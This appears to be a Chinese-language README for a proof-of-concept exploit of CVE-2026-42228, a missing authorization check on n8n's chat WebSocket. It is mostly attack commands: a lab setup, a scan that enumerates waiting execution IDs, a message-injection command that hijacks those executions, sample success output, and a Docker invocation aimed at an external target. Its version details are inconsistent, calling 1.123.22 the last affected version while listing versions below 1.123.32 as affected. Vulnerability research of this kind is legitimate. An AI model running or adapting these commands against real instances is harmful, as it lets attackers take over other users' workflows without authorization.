CVE: CVE-2026-42228
严重性: 高
受影响版本: n8n < 1.123.32
修复版本: n8n 1.123.32 / 2.17.4 / 2.18.1
chat-service.ts :: startSession() 接受来自 WebSocket 查询字符串的 executionId,并且仅检查该执行是否存在于数据库中。它从未验证调用者是否有权访问该执行。
知道(或能够枚举)处于 等待 状态的有效数字执行 ID 的未认证攻击者可以:
/chat WebSocket。前提条件:
waiting 状态。chmod +x exploit.sh
./exploit.sh setup
此命令拉取 n8nio/n8n:1.123.22(最后一个受影响版本),构建攻击者镜像,并在 http://localhost:5678 启动易受攻击的目标。
http://localhost:5678 并完成设置向导(任意凭据)。打开聊天触发器节点中显示的公开聊天 URL 并发送一条消息。执行将进入 等待 状态,暂停等待下一条聊天回复。
./exploit.sh scan
# 或指定范围:
./exploit.sh scan 1 500
找到易受攻击的执行时的预期输出:
[+] WAITING execution found! exec_id=7
Server said: 'n8n|continue'
Server said: '{"action":"sendMessage","sessionId":"...","chatInput":"Hello"}'
[!!!] Hijack payload sent: '[CVE-2026-42228] hijacked by PoC'
./exploit.sh attack 7
# 或使用自定义载荷:
./exploit.sh attack 7 "custom injected message"
回到 n8n 编辑器中,工作流将以 攻击者 注入的消息恢复,而不是合法用户的输入。
# 构建攻击者镜像
docker build -t n8n-chat-hijack-poc .
# 扫描(连接到共享实验网络)
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
n8n-chat-hijack-poc \
--target http://n8n-vuln:5678 \
--start-id 1 --end-id 200
# 攻击特定执行
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
n8n-chat-hijack-poc \
--target http://n8n-vuln:5678 \
--exec-id 7 --inject "PWNED"
# 针对外部目标(无需网络标志)
docker run --rm n8n-chat-hijack-poc \
--target https://n8n.example.com \
--exec-id 42 --inject "PWNED"
./exploit.sh clean
停止容器并删除卷(包括 SQLite 数据库)。
| 文件 | 描述 |
|---|---|
poc_GHSA-f77h-j2v7-g6mw.py | 独立 Python PoC |
Dockerfile | 攻击者容器镜像 |
docker-compose.yml |
| 完整实验环境:易受攻击的 n8n + 攻击者 |
exploit.sh | 常用操作的辅助脚本 |